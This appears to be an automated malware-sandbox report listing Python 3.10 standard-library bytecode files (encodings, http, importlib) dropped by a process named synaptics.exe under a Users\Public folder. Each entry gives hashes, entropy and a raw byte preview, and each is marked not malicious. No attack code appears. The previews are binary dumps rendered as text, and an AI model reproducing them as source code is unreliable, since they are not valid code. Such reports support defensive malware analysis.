Preview:	o........'-d.$.......................@...s....d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z...e...d...Z.d.Z.d.Z.d.d...Z.d.d...Z.d.d...Z.G.d.d...d.e.j...Z.G.d.d...d.e.j...Z.G.d.d...d.e.j...Z.G.d.d...d.e.e.j...Z.G.d.d...d.e.e.j...Z.d.d...Z.d.S.)......N)...ucd_3_2_0u....[....]s....xn--z.xn--c....................C...s....g.}.\|.D.].}.t...\|...r.q.\|...t...\|.......q.d...\|...}.t...d.\|...}.\|.D.]5}.t...\|...sQt...\|...sQt...\|...sQt...\|...sQt...\|...sQt...\|...sQt...\|...sQt...\|...sQt...\|...rWt.d.\|.......q"d.d...\|.D...}.t.\|...r\|t.d.d...\|.D.....rpt.d.....\|.d...rx\|.d...s\|t.d.....\|.S.).N....NFKCz.Invalid character %rc....................S...s....g.\|.].}.t...\|.....q.S...)...stringprepZ.in_table_d1.....0..xr....r.....2C:\Users\Public\QExvbmVOb25l\lib\encodings\idna.py..<listcomp>)...s......z.nameprep.<locals>.<listcomp>c....................s...s......\|.].}.t...\|...V...q.d.S.).N).r....Z.in_table_d2r....r....r....r......<genexpr>1...s........z.nameprep.<locals>.<genexpr>z.Violation of BIDI requirement 2r.........z.

C:\Users\Public\QExvbmVOb25l\lib\encodings\pycache\utf_8.cpython-310.pyc (copy)

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	1610
Entropy (8bit):	4.728935998507901
Encrypted:	false
SSDEEP:	48:ZVtus1pipMHUrYPyaGcLXaLOsJkLBBn1U:ZbuWNHUPNcLXaasmP1U
MD5:	990F153518B6D6BDF0A0AE65C50B7941
SHA1:	E228547F05E8315281C4210E4A4A033393DF265B
SHA-256:	51A265B412E42E30C7ABBAE878E567275610553B2FDD19705D709F86263760DA
SHA-512:	B2CF8CA74F847624EAED77C4419E63FB6529AA3F3BFA05937CE0E1205F55821AD16473684488FE70B87ABF2BBD5DC7C53DF7ACB9463EB73975468A78F0CB88E7
Malicious:	false
Reputation:	low
Preview:	o........'-d.........................@...sp...d.Z.d.d.l.Z.e.j.Z.d.d.d...Z.G.d.d...d.e.j...Z.G.d.d...d.e.j...Z.G.d.d...d.e.j...Z.G.d.d...d.e.j...Z.d.d...Z.d.S.).z. Python 'utf-8' Codec...Written by Marc-Andre Lemburg (mal@lemburg.com)...(c) Copyright CNRI, All Rights Reserved. NO WARRANTY........N..strictc....................C...s....t...\|.\|.d...S.).NT)...codecs..utf_8_decode)...input..errors..r.....3C:\Users\Public\QExvbmVOb25l\lib\encodings\utf_8.py..decode....s......r....c....................@...s....e.Z.d.Z.d.d.d...Z.d.S.)...IncrementalEncoderFc....................C...s....t...\|.\|.j...d...S.).Nr....).r......utf_8_encoder....)...selfr......finalr....r....r......encode....s......z.IncrementalEncoder.encodeN).F)...__name__..__module__..__qualname__r....r....r....r....r....r........s........r....c....................@........e.Z.d.Z.e.j.Z.d.S.)...IncrementalDecoderN).r....r....r....r....r......_buffer_decoder....r....r....r....r.................r....c....................@...r....)...Str

C:\Users\Public\QExvbmVOb25l\lib\http\pycache\init.cpython-310.pyc (copy)

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	6429
Entropy (8bit):	5.803869223949154
Encrypted:	false
SSDEEP:	192:PWZsdAR4kaBaNzpZOZBDcxHN/8O2OHb4k7:P6zpZOZBDcpNp2iT
MD5:	586EC357280D9B2CA86F69BB80E2FD5E
SHA1:	26AB9E4178641B100CE7AE624C5D9E549B217603
SHA-256:	28069D9FE48F2786B99B404CF0A163A252CD87FE6EA554072F7E4D15A7712162
SHA-512:	F1866F7E0205D50981AAD1CE2A6994119DD6E7958518CD664D007E9BD453EE11E59D88DA0F7955DBBD5602E35BB892B33DED2310836191072EE39B97C18067DC
Malicious:	false
Reputation:	low
Preview:	o........'-d.........................@...s&...d.d.l.m.Z...d.g.Z.G.d.d...d.e...Z.d.S.)......)...IntEnum..HTTPStatusc....................@...s....e.Z.d.Z.d.Z.dDd.d...Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d Z d!Z!d"Z"d#Z#d$Z$d%Z%d&Z&d'Z'd(Z(d)Z)dZd+Z+d,Z,d-Z-d.Z.d/Z/d0Z0d1Z1d2Z2d3Z3d4Z4d5Z5d6Z6d7Z7d8Z8d9Z9d:Z:d;Z;d<Z<d=Z=d>Z>d?Z?d@Z@dAZAdBZBdCS.)Er....aG...HTTP status codes and reason phrases.. Status codes from the following RFCs are all observed:.. * RFC 7231: Hypertext Transfer Protocol (HTTP/1.1), obsoletes 2616. * RFC 6585: Additional HTTP Status Codes. * RFC 3229: Delta encoding in HTTP. * RFC 4918: HTTP Extensions for WebDAV, obsoletes 2518. * RFC 5842: Binding Extensions to WebDAV. * RFC 7238: Permanent Redirect. * RFC 2295: Transparent Content Negotiation in HTTP. * RFC 2774: An HTTP Extension Framework. * RFC 7725: An HTTP Status Code to Rep

C:\Users\Public\QExvbmVOb25l\lib\http\pycache\client.cpython-310.pyc (copy)

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	35191
Entropy (8bit):	5.379843073709396
Encrypted:	false
SSDEEP:	768:poG3AvqgYyeQcyEqVHpu/TTaC5TCW9ObjcDds:iG3JgYyeQcyEqVHpETH5Tj9UjYC
MD5:	65943B0D35BD92C3946B2DDB6F035241
SHA1:	CA28FFACF1F02E492308AEC3C04A410FCC484C02
SHA-256:	FDB73B1E8CB54894FA62AC85A5E1E14A7A8FB0210DA5662363ED6BE50E630FBE
SHA-512:	D2D7D47032026292D41EA9D35909BAE68D823CCF50806CCAA68AF656CA8E1DA75E9C7CE98D93EF489C4D4BDDC5436A9131BFDF246AB594514EA64904579D6852
Malicious:	false
Reputation:	low
Preview:	o........'-d.........................@...sP...d.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z...g.d...Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.e.....e.j.j.....d.d...e.j.j.....D...Z.d.Z.d.Z.e...d...j.Z.e...d...j Z!e...d...Z"e...d...Z#h.d...Z$d?d.d...Z%G.d.d...d.e.j&j'..Z(d.d...Z)e(f.d.d...ZG.d.d...d.e.j+..Z,G.d.d ..d ..Z-z.d.d.l.Z.W.n...e/y.......Y.n.w.G.d!d"..d"e-..Z0e..1d"....G.d#d$..d$e2..Z3G.d%d&..d&e3..Z4G.d'd(..d(e3..Z5G.d)d..d*e3..Z6G.d+d,..d,e3..Z7G.d-d...d.e3..Z8G.d/d0..d0e3..Z9G.d1d2..d2e3..Z:G.d3d4..d4e:..Z;G.d5d6..d6e:..Z<G.d7d8..d8e:..Z=G.d9d:..d:e3..Z>G.d;d<..d<e3..Z?G.d=d>..d>e@e>..ZAe3ZBd.S.)@a....HTTP/1.1 client library..<intro stuff goes here>.<other stuff, too>..HTTPConnection goes through a number of "states", which define when a client.may legally make another request or fetch the response for a particular.request. This diagram details these state transitions:.. (null). \|. \| HTTPConnection(). v. Idle. \|. \| putr

C:\Users\Public\QExvbmVOb25l\lib\http\pycache\cookiejar.cpython-310.pyc (copy)

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	53453
Entropy (8bit):	5.564343561169894
Encrypted:	false
SSDEEP:	768:6BX5TRGXx0wM1oyXc63+Rb+TXzpTrY/hgRkOfmXULJn0MFgddqRGfUehMJutkvPK:KAI1FXZ+R+ZyhXd6x8MMT
MD5:	9E81CB93637CA078C9B5090E8B051358
SHA1:	02580005C089ACAEABE364E3B6C36073059AF6A8
SHA-256:	7AF976BB29C3713F9DF340D7F5710D4EEF1C30EF3B9E6E64D113C12F4A0F2A65
SHA-512:	657FAF2A1121778BABD740F719D3C35B2F380AACEBBAC8F3A73AF4C457F4760286F7B8ED4900B64ECFCE22CFE574DEA4BEF35084231713BE4DA45C947F893EF6
Malicious:	false
Reputation:	low
Preview:	o........'-d.6.......................@...s....d.Z.g.d...Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z...d.Z.d.a.d.d...Z.d.Z.d.Z.e.e.j.j...Z.e...d...Z.d.Z.d.Z.d.d...Z.d.Z.d.d...Z.g.d...Z g.d...Z!g.Z"e!D.].Z#e".$e#.%......qadid.d...Z&did.d...Z'd.d.d.d.d...Z(e...d.e.j)..Zd.d...Z+d.d...Z,e...d.e.j)..Z-e...d.e.j.e.j)B...Z/e...d e.j0e.j)B...Z1d!d"..Z2e...d#e.j0e.j)B...Z3d$d%..Z4d&d'..Z5e...d(..Z6e...d)..Z7e...d..Z8e...d+..Z9d,d-..Z:e...d...Z;d/d0..Z<d1d2..Z=d3d4..Z>e...d5e.j)..Z?d6d7..Z@d8d9..ZAd:d;..ZBd<d=..ZCe...d>e.j)..ZDd?d@..ZEdAdB..ZFdCdD..ZGdEdF..ZHdGZIe...dH..ZJdIdJ..ZKdKdL..ZLdMdN..ZMdOdP..ZNG.dQdR..dR..ZOG.dSdT..dT..ZPG.dUdV..dVeP..ZQdWdX..ZRdYdZ..ZSG.d[d\..d\..ZTG.d]d^..d^..ZUG.d_d`..d`eV..ZWG.dadb..dbeU..ZXdcdd..ZYG.dedf..dfeX..ZZG.dgdh..dheX..Z[d.S.)ja....HTTP cookie handling for web clients...This module has (now fairly distant) origins in Gisle Aas' Perl module.HTTP::Cookies, from the libwww-perl library...Docstrings, comments and debug

C:\Users\Public\QExvbmVOb25l\lib\http\pycache\cookies.cpython-310.pyc (copy)

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	15351
Entropy (8bit):	5.447784818916672
Encrypted:	false
SSDEEP:	384:LC6ZJt/SHD+IfhNGV10wqP+6JdMYFGBCeA4Gm0Ir7bDQs61vwOQY2jxP+Qh3lL44:mWJtS+Ifh8D0wqP+6JdMYsBrA4GmzfbX
MD5:	257E60F28A4B45F5578C837D741100F3
SHA1:	5680CAFF01297BDB33F64E1783B059A3885B3E3A
SHA-256:	AF62D676940D567654BB2472ACEE702F1A384DDC19F80C776351EECEFA9775D9
SHA-512:	D9B4CC8BB2A5B773005F6E1499071D3F39C5D3B403A338B37AA7833313C311EE3F46752DD9C21E142220BA3D90C28AF30E23C05249992351CD52365D87DB15E7
Malicious:	false
Reputation:	low
Preview:	o........'-dfR.......................@...sZ...d.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.g.d...Z.d.j.Z.d.j.Z.d.j.Z.G.d.d...d.e...Z.e.j.e.j...d...Z.e.d...Z.d.d...e.e.d.....e.e.e.e.......D...Z.e...e.d...d.e.d...d.i.....e...d.e...e.......j.Z.d.d...Z.e...d...Z.e...d...Z.d.d...Z.g.d...Z.g.d...Z.d.e.e.f.d.d...Z.G.d.d...d.e ..Z!d.Z"e"d ..Z#e...d!e"..d"..e#..d#..e.j$e.j%B...Z&G.d$d%..d%e ..Z'G.d&d'..d'e'..Z(d.S.)(a.....Here's a sample session to show how to use this module..At the moment, this is the only documentation...The Basics.----------..Importing is easy..... >>> from http import cookies..Most of the time you start by creating a cookie... >>> C = cookies.SimpleCookie()..Once you've created your Cookie, you can add values just as if it were.a dictionary... >>> C = cookies.SimpleCookie(). >>> C["fig"] = "newton". >>> C["sugar"] = "wafer". >>> C.output(). 'Set-Cookie: fig=newton\r\nSet-Cookie: sugar=wafer'..Notice that the printable representation of a Cookie is the.appropriate format for a

C:\Users\Public\QExvbmVOb25l\lib\importlib\pycache\init.cpython-310.pyc (copy)

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	3818
Entropy (8bit):	5.547983903948432
Encrypted:	false
SSDEEP:	96:6uKEn4Gs1xwkB8RpIXEz66QncxK1p9W0j+VZzmF2Q8yIcOr:QEk6oMK1a0j+DmF2QZIh
MD5:	FF1EAD2607B111C4B06B0E965F5C8C2A
SHA1:	1583368549A4421C080989F90C15D2140E6CACD1
SHA-256:	6E7D6B15FFEA62BFFB6C5888D2428C3EA6536B8BABC31AC698321076666B37E6
SHA-512:	B3D48741B95FA23AAB5CC329C679F401716E3E4C75D14C48A648C6227E7FACD45EA49CF90884B6F275E069FFF0A7C791B15416A5F397F051E0B0B9492C770B04
Malicious:	false
Reputation:	low
Preview:	o........'-dy........................@...sT...d.Z.g.d...Z.d.d.l.Z.d.d.l.Z.z.d.d.l.Z.W.n...e.y)......d.d.l.m.Z...e...e.e.....Y.n.w.d.e._.d.e._.z.e...d.d...e._.W.n...e.yB......Y.n.w.e.e.j.d.<.z.d.d.l.Z.W.n...e.ye......d.d.l.m.Z...e...e.....e.e._.Y.n.w.d.e._.d.e._.z.e...d.d...e._.W.n...e.y~......Y.n.w.e.e.j.d.<.e.j.Z.e.j.Z.d.d.l.Z.d.d.l.m.Z...d.d...Z.d.d.d...Z.d.d.d...Z.i.Z.d.d...Z.d.S.).z'A pure Python implementation of import.)...__import__..import_module..invalidate_caches..reload.....N.....)..._bootstrapz.importlib._bootstrap..importlibz.__init__.pyz._bootstrap.py)..._bootstrap_externalz.importlib._bootstrap_externalz._bootstrap_external.py).r....c....................C...s"...t.j.D.].}.t.\|.d...r.\|.......q.d.S.).zmCall the invalidate_caches() method on all meta path finders stored in. sys.meta_path (where implemented).r....N)...sys..meta_path..hasattrr....)...finder..r.....6C:\Users\Public\QExvbmVOb25l\lib\importlib\__init__.pyr....A...s..............r....c....................C...s.

C:\Users\Public\QExvbmVOb25l\lib\importlib\pycache\_abc.cpython-310.pyc (copy)

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	1984
Entropy (8bit):	5.0264178323697895
Encrypted:	false
SSDEEP:	48:eGYO7KXEXsUXrqj9FXHRLSVRibTAsKhnsRyy:MrEXxXrqhFXHPTbIsZ
MD5:	2DB1553B7AE96769454D9D400C48AD48
SHA1:	60BD75D3937F08AADAD444DCFF8DAFE0D30BAAFD
SHA-256:	026487F41E4A286B91882F0C9EDF3BCF50D1FA30AD4E4FB7AFD7AACF9673BC74
SHA-512:	3FBE631210C0C7A039D4217676CEF3D6AEF15EDE1124A1973B5F29C518A91FCF3E6A767F2322586E33B4C5FEBE3C37CEA1840728DEF07AE53B2EA50A3D0125F9
Malicious:	false
Reputation:	low
Preview:	o........'-dr........................@...s8...d.Z.d.d.l.m.Z...d.d.l.Z.d.d.l.Z.G.d.d...d.e.j.d...Z.d.S.).z>Subset of importlib.abc used to reduce importlib.util imports......)..._bootstrap.....Nc....................@...s(...e.Z.d.Z.d.Z.d.d...Z.d.d...Z.d.d...Z.d.S.)...Loaderz'Abstract base class for import loaders.c....................C...s....d.S.).z.Return a module to initialize and into which to load... This method should raise ImportError if anything prevents it. from creating a new module. It may return None to indicate. that the spec should create the new module.. N..)...self..specr....r.....2C:\Users\Public\QExvbmVOb25l\lib\importlib\_abc.py..create_module....s......z.Loader.create_modulec....................C...s....t.\|.d...s.t...t...\|.\|...S.).a....Return the loaded module... The module must be added to sys.modules and have import-related. attributes set properly. The fullname is a str... ImportError is raised on failure...

C:\Users\Public\QExvbmVOb25l\lib\importlib\pycache\_adapters.cpython-310.pyc (copy)

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	3716
Entropy (8bit):	4.669556921717515
Encrypted:	false
SSDEEP:	96:udiPhyWa11p/5cIBqNU79FhTEnKIgVFKOmuD79VsUKyO9WoK/UML9Qa:bhyWGfxxB99FhkKIgDKONrsUK39WoK/L
MD5:	36AD21764FD68E2A00257A3FBA2867BF
SHA1:	606CBE4365409C5ACE4D6CC4C9F51ABD3B7E14DC
SHA-256:	898956976FE8AAA0CD0C13D51D35C731E8D8D9508824070921FB589B9EE87100
SHA-512:	1349DC1FF11154372A1BE550EF78802B1B0BEB968FBD5D820473EE955A8318589A659341C15F8A8E03507FCFCC4896F1D5809D415EC344087D0ECBD4A736F633
Malicious:	false
Reputation:	low
Preview:	o........'-d.........................@...sN...d.d.l.m.Z...d.d.l.m.Z...G.d.d...d...Z.G.d.d...d...Z.G.d.d...d...Z.d.d...Z.d.S.)......)...suppress.....)...abcc....................@...s(...e.Z.d.Z.d.Z.d.d...f.d.d...Z.d.d...Z.d.S.)...SpecLoaderAdapterz>. Adapt a package spec to adapt the underlying loader.. c....................C...s....\|.j.S...N)...loader....spec..r.....7C:\Users\Public\QExvbmVOb25l\lib\importlib\_adapters.py..<lambda>....s......z.SpecLoaderAdapter.<lambda>c....................C...s....\|.\|._.\|.\|...\|._.d.S.r....).r....r....)...selfr....Z.adapterr....r....r......__init__....s........z.SpecLoaderAdapter.__init__c....................C........t.\|.j.\|...S.r....)...getattrr......r......namer....r....r......__getattr__...........z.SpecLoaderAdapter.__getattr__N)...__name__..__module__..__qualname__..__doc__r....r....r....r....r....r....r........s............r....c....................@...s ...e.Z.d.Z.d.Z.d.d...Z.d.d...Z.d.S.)...TraversableResourcesLoaderz9. Adapt a loader

C:\Users\Public\QExvbmVOb25l\lib\importlib\pycache\_common.cpython-310.pyc (copy)

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	2980
Entropy (8bit):	5.201595793085135
Encrypted:	false
SSDEEP:	48:MfiZ38jH+kP4PY+IewYalBABDu0ZLmJ2SOoHft3XlY2s03f/mm2vJviUeXrowab:MfipsH3ARwYali7ZL7dillY2s033mm2v
MD5:	EBF28ACC37484D41F7D7EE700F89BCBC
SHA1:	A38B160A3D94A83EC79F89ACA3B085768D239117
SHA-256:	5CDDAC3F6C6C0BCDD8DF2934703AF86BEA1B116B9FF47A108AF28C63D61673D0
SHA-512:	77086CCB56DFAF54ED58CFA240C1C786E542FBB1F736967BFE96F978B0A9BDFD5B014BBE972CDD54639DA7ACE1701D24B967EEE262675F85673C5641A672EA12
Malicious:	false
Reputation:	low
Preview:	o........'-d.........................@...s....d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z.m.Z.m.Z...d.d.l.m.Z.m.Z...d.d.l.m.Z...e.e.j.e.f...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.e.j.d.e.j.d...d.d.....Z.e.j.d.d.....Z.e...e.j...e.j.d.d.......Z d.S.)......N)...Union..Any..Optional.....)...ResourceReader..Traversable)...wrap_specc....................C...s....t.t.\|.....S.).z3. Get a Traversable resource from a package. )...from_package..get_package)...package..r.....5C:\Users\Public\QExvbmVOb25l\lib\importlib\_common.py..files....s......r....c....................C...s....t.\|...}.t.j...\|...\.}.}.\|.r.t.\|...d.......\|.S.).z.Normalize a path by ensuring it is a string... If the resulting string contains path separators, an exception is raised.. z. must be only a file name)...str..os..path..split..ValueError).r....Z.str_path..parent..file_namer....r....r......normalize_path....s..............r....c....................C...s*...\|.j.}.t.\|.j.d.d...}.\|.d.u

C:\Users\Public\QExvbmVOb25l\lib\importlib\pycache\abc.cpython-310.pyc (copy)

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	15904
Entropy (8bit):	5.108311815005808
Encrypted:	false
SSDEEP:	192:Ez1B5HGaViuYo8vEVbFCibM/50LbCb1EVMXS6O9PzXDPJ8OoEAuDdPTaX/DOWP6s:EVDVnR8gC/50LbjVMA9PrWCDaX/P6s
MD5:	6EB15404384F6EB937E5F4A25BAE639C
SHA1:	1CC389C0B2D905402C54AAB677142BBA304FE963
SHA-256:	B33CBA19B287E279540EA3D50945DFFF24C1117EE08CA53F7B3C49839C6252DC
SHA-512:	7CCF4B0A9FC3C3EA346FF51FB14755C78E49252DBA670FD60A359132A9E5C5EC1B431A8E3F849AB7792B895211C5AEE53EF2AC00F386EFCE750A45315EDD3871
Malicious:	false
Reputation:	low
Preview:	o........'-d.:.......................@...s....d.Z.d.d.l.m.Z...d.d.l.m.Z...z.d.d.l.Z.W.n...e.y...Z...z.e.j.d.k.r"..d.Z.W.Y.d.Z.[.n.d.Z.[.w.w.z.d.d.l.Z.W.n...e.y@......e.Z.Y.n.w.d.d.l.m.Z...d.d.l.Z.d.d.l.Z.d.d.l.m.Z.m.Z.m.Z...d.d.l.m.Z.m.Z...d.d...Z.G.d.d...d.e.j.d...Z.G.d.d...d.e.j.d...Z.e.e.e.j.e.j.e.j.e.j.....G.d.d...d.e.j.d...Z.e.e.e.j.....G.d.d...d.e...Z.G.d.d...d.e...Z.e.e.e.j.e.j.....G.d.d...d.e...Z.e.e.e.j ....G.d.d...d.e.j!e.e...Z!e.e!e.j"e.j#....G.d.d...d.e.j$e.e...Z$e.e$e.j"....G.d.d...d.e.j.d...Z%e.G.d.d ..d e.....Z&G.d!d"..d"e%..Z'd.S.)#z(Abstract base classes related to import......)..._bootstrap_external)...machinery.....N.._frozen_importlib)...Loader)...BinaryIO..Iterable..Text)...Protocol..runtime_checkablec....................G...sZ...\|.D.](}.\|...\|.....t.d.u.r*z.t.t.\|.j...}.W.n...t.y$......t.t.\|.j...}.Y.n.w.\|...\|.....q.d.S...N)...registerr......getattr..__name__..AttributeError.._frozen_importlib_external).Z.abstract_clsZ.classes..clsZ.frozen_cls..r.....1C:\Users\Public

C:\Users\Public\QExvbmVOb25l\lib\importlib\pycache\machinery.cpython-310.pyc (copy)

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	957
Entropy (8bit):	5.425235583484172
Encrypted:	false
SSDEEP:	12:C2kBAzUYcjBN/8XHmE16iGMwigQFM4u0LIX7OujdiXg8G94OlWRXqnrmHO28sVtP:UjoXT16iGMJgQFpAquj8G/OXsrmH58K
MD5:	DA06D21DDC1EAC2CA61D3875E276E0E6
SHA1:	FB8AC8D021A8BF74412C54D957ECFE7AF37D3415
SHA-256:	7703B4740A0600C45643AD3956896BAF39F83392015D2AC0ADE3782E674115C2
SHA-512:	193296CBD3645BDF6FE1B80BFE936782F65D1FC3D12C322D4F44BA3652740C155E098FB490CB919E81E21442171A3EB87689CD245D350D5C542219409ED18335
Malicious:	false
Reputation:	low
Preview:	o........'-dR........................@...s....d.Z.d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z.m.Z.m.Z.m.Z.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d...Z.d.S.).z9The machinery of importlib: finders, loaders, hooks, etc......)...ModuleSpec)...BuiltinImporter)...FrozenImporter)...SOURCE_SUFFIXES..DEBUG_BYTECODE_SUFFIXES..OPTIMIZED_BYTECODE_SUFFIXES..BYTECODE_SUFFIXES..EXTENSION_SUFFIXES)...WindowsRegistryFinder)...PathFinder)...FileFinder)...SourceFileLoader)...SourcelessFileLoader)...ExtensionFileLoaderc....................C...s....t.t...t...S.).zAReturns a list of all recognized module suffixes for this process).r....r....r......r....r.....7C:\Users\Public\QExvbmVOb25l\lib\importlib\machinery.py..all_suffixes....s......r....N)...__doc__.._bootstrapr....r....r......_bootstrap_externalr....r....r....r....r....r....r....r....r....r....r....r....r....r....r....r......<module>....s............................

C:\Users\Public\QExvbmVOb25l\lib\importlib\pycache\readers.cpython-310.pyc (copy)

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	5195
Entropy (8bit):	4.878952110496418
Encrypted:	false
SSDEEP:	96:yPv9CoTQ1zsquRgowzdmCbBavWMPTjTzKuhXBoPTl906kEt7IQ7ClEXsjMptAWrD:sQ1ztyvedlbB7IruuhXBoPTlK9EhIQOi
MD5:	76BB53375638FFA69573474BA7051154
SHA1:	4CCF8855DAF5E80016B6EC6BCD75FFCA2677E1CC
SHA-256:	C9540B4776B6CE764F16245863BE26AC0EC4A558D60048085726DCA64290661E
SHA-512:	1BC1149475DDA1B60C855997DAA897FDFAF12D9FECE033F23783EAEAF003FE863EC1909F9037D383716D756AAD97852D13E0A3D841CD78610C8CCC2D5A6A379E
Malicious:	false
Reputation:	low
Preview:	o........'-d~........................@...sx...d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z...d.d...Z.G.d.d...d.e.j...Z.G.d.d...d.e.j...Z.G.d.d...d.e.j...Z.G.d.d...d.e.j...Z.d.S.)......N.....)...abcc....................C...s....t.t.j...\|.....S...N)...iter..collections..OrderedDict..fromkeys)...items..r.....5C:\Users\Public\QExvbmVOb25l\lib\importlib\readers.py..remove_duplicates...........r....c....................@....$...e.Z.d.Z.d.d...Z.d.d...Z.d.d...Z.d.S.)...FileReaderc....................C...s....t...\|.j...j.\|._.d.S.r....)...pathlib..Path..path..parent)...self..loaderr....r....r......__init__....s......z.FileReader.__init__c....................C........t.\|.j...\|.....S...z{. Return the file system path to prevent. `resources.path()` from creating a temporary. copy.. ....strr......joinpath..r......resourcer....r....r......resource_path...........z.FileReader.resource_pathc....................C........\|.j.S.r......r......r....r....r....r......files...........z.FileRea

C:\Users\Public\QExvbmVOb25l\lib\importlib\pycache\resources.cpython-310.pyc (copy)

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	5382
Entropy (8bit):	5.3427306086604975
Encrypted:	false
SSDEEP:	96:ozYSudPIqJNGeMzW9dlfxVf0JJgFGx6qjBfjO6y3SnKL49oNhbMrhKgTlv:oJBnS9xVfSJgGx6AjI3SKyhRTlv
MD5:	355B8ACC990EB8BDB7DE27B48CE71264
SHA1:	B038521CD40697D8FBB1D41CB6E2EAFA971347ED
SHA-256:	E9DC0D672BC1EEF054731F8934870B61BEB1017E90DE2612C0F06FFA7638FEF3
SHA-512:	8A90CAAE1973D8340F6F1F799D5A0D6C457E42FBEA782374EA524D435F166D9A69467ED80DE6CB49A6AFE7F652F98247ABDF5F9299FB2110D3699930728732B3
Malicious:	false
Reputation:	low
Preview:	o........'-d.........................@...s....d.d.l.Z.d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z.m.Z.m.Z...d.d.l.m.Z...d.d.l.m.Z.m.Z...d.d.l.m.Z...d.d.l.m.Z...g.d...Z e.e!e.f...Z"e.e!e.j#f...Z$d.e"d.e$d.e.f.d.d...Z%....d3d.e"d.e$d.e!d.e!d.e.f.d.d...Z&d.e"d.e$d.e'f.d.d...Z(....d3d.e"d.e$d.e!d.e!d.e!f.d.d ..Z)d.e"d.e$d.d!f.d"d#..Zd$d%..Z+d&d'..Z,d(d)..Z-d.e"de!d.e.f.d+d,..Z/d.e"d.e.e!..f.d-d...Z0e.d/d0....Z1e1.2e...d1d2....Z3d.S.)4.....N.....)..._common)...as_file..files)...ResourceReader)...suppress)...ResourceLoader)...ModuleSpec)...BytesIO..TextIOWrapper)...Path)...ModuleType)...ContextManager..Iterable..Union)...cast)...BinaryIO..TextIO)...Sequence)...singledispatch)...Package..Resourcer....r......contentsr......is_resource..open_binary..open_text..path..read_binary..read_text..package..resource..returnc....................C...s&...t...\|...}.t...\|...}.t...\|...}.\|.d.u.r.\|...\|...S.t.t.\|.j...}.\|

C:\Users\Public\QExvbmVOb25l\lib\importlib\pycache\util.cpython-310.pyc (copy)

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	9342
Entropy (8bit):	5.320515236210884
Encrypted:	false
SSDEEP:	192:TptTll1YVqQzvbab+Q3+LbcwE5lFz0w7/RhZT:Fbl1YVqoeb+QuLbpmFz06RhZT
MD5:	7DCA14AE783831BBD4B26FD6739B9A07
SHA1:	B36C9646AF55A5D70DAF83C497064E1F319AA5AB
SHA-256:	36CB19B2B54EF2381D6B12CF683D50E36C7FB65F540E72FA910E756F79C13C8A
SHA-512:	BB9711DCDE240D30A124D98D6968D9E9ED78E399AF29CFD76B32FAE07D8568208A51DE4E602CE377649C0D4125D3355F47E2823F640ED66A0B2E4F9C50E9F42B
Malicious:	false
Reputation:	low
